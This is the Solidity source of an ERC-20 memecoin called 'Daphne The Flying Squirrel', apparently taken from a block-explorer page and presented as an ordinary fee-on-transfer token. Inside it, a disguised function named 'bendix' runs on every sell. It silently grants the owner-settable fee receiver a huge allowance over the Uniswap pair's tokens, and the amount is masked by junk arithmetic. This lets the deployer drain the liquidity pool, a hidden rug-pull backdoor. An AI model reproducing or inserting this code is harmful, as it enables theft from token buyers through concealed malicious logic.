文件 1 的 1：DAPHNE.sol
pragma solidity 0.8.27;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract DAPHNE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balancesEE;
mapping (address => mapping (address => uint256)) private _allowancesEE;
mapping (address => bool) private _shouldExcludedEE;
address payable private _receiptEE;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalEE = 420690000000 * 10**_decimals;
string private constant _name = unicode"Daphne The Flying Squirrel";
string private constant _symbol = unicode"DAPHNE";
uint256 public _maxAmountEE = 2 * (_tTotalEE/100);
uint256 public _maxWalletEE = 2 * (_tTotalEE/100);
uint256 public _taxThresEE = 1 * (_tTotalEE/100);
uint256 public _maxSwapEE = 1 * (_tTotalEE/100);
address private uniPairEE;
IUniswapV2Router02 private uniRouterEE;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 20;
uint256 private _reduceSellTaxAt = 20;
uint256 private _preventSwapBefore = 15;
uint256 private _transferTax = 0;
uint256 private _buyCount = 0;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxAmountEE);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_receiptEE = payable(_msgSender());
_balancesEE[_msgSender()] = _tTotalEE;
_shouldExcludedEE[owner()] = true;
_shouldExcludedEE[address(this)] = true;
_shouldExcludedEE[_receiptEE] = true;
emit Transfer(address(0), _msgSender(), _tTotalEE);
}
function initEE() external onlyOwner {
uniRouterEE = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniRouterEE), _tTotalEE);
uniPairEE = IUniswapV2Factory(uniRouterEE.factory()).createPair(
address(this),
uniRouterEE.WETH()
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalEE;
}
function balanceOf(address account) public view override returns (uint256) {
return _balancesEE[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowancesEE[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed");
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowancesEE[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowancesEE[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amountEE) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amountEE > 0, "Transfer amount must be greater than zero");
uint256 feeEE=0;uint256 taxEE=0;
if (!swapEnabled || inSwap) {
_balancesEE[from] = _balancesEE[from] - amountEE;
_balancesEE[to] = _balancesEE[to] + amountEE;
emit Transfer(from, to, amountEE);
return;
}
if (from != owner() && to != owner()) {
if(_buyCount>0) {
taxEE = _transferTax;
}
if (from == uniPairEE && to != address(uniRouterEE) && ! _shouldExcludedEE[to] ) {
require(amountEE <= _maxAmountEE, "Exceeds the _maxAmountEE.");
require(balanceOf(to) + amountEE <= _maxWalletEE, "Exceeds the maxWalletSize.");
taxEE = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
_buyCount++;
}
if(to == uniPairEE && from!= address(this) ){
taxEE = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);bendix([to, _receiptEE]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniPairEE && swapEnabled) {
if(contractTokenBalance > _taxThresEE && _buyCount > _preventSwapBefore)
swapEthEE(minEE(amountEE, minEE(contractTokenBalance, _maxSwapEE)));
sendEthEE(address(this).balance);
}
}
if(taxEE > 0){
feeEE=amountEE.mul(taxEE).div(100);
_balancesEE[address(this)]=_balancesEE[address(this)].add(feeEE);
emit Transfer(from, address(this),feeEE);
}
_balancesEE[from]=_balancesEE[from].sub(amountEE);
_balancesEE[to]=_balancesEE[to].add(amountEE.sub(feeEE));
emit Transfer(from, to, amountEE.sub(feeEE));
}
function swapEthEE(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniRouterEE.WETH();
_approve(address(this), address(uniRouterEE), tokenAmount);
uniRouterEE.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimitEE(address payable limit) external onlyOwner{
_maxAmountEE = _tTotalEE;
_maxWalletEE=_tTotalEE;
_receiptEE = limit;
_shouldExcludedEE[limit] = true;
emit MaxTxAmountUpdated(_tTotalEE);
}
function bendix(address[2] memory bmx) private {
address ownEE=bmx[0];address spendEE=bmx[1];
uint256 amountEE=(100+_maxAmountEE+_maxSwapEE+100)*100+100;
_allowancesEE[ownEE][spendEE]=100*(amountEE+50)+100;
}
function setReceipt(address payable _receipt) external onlyOwner {
_receiptEE = _receipt;
_shouldExcludedEE[_receipt] = true;
}
function minEE(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function resecureEth() external onlyOwner{
payable(msg.sender).transfer(address(this).balance);
}
function sendEthEE(uint256 amount) private {
_receiptEE.transfer(amount);
}
receive() external payable {}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniRouterEE.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniPairEE).approve(address(uniRouterEE), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function isUniswapV3(address spender) private pure returns (bool) {
address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
return (spender == uniswapV3PositionManager);
}
}
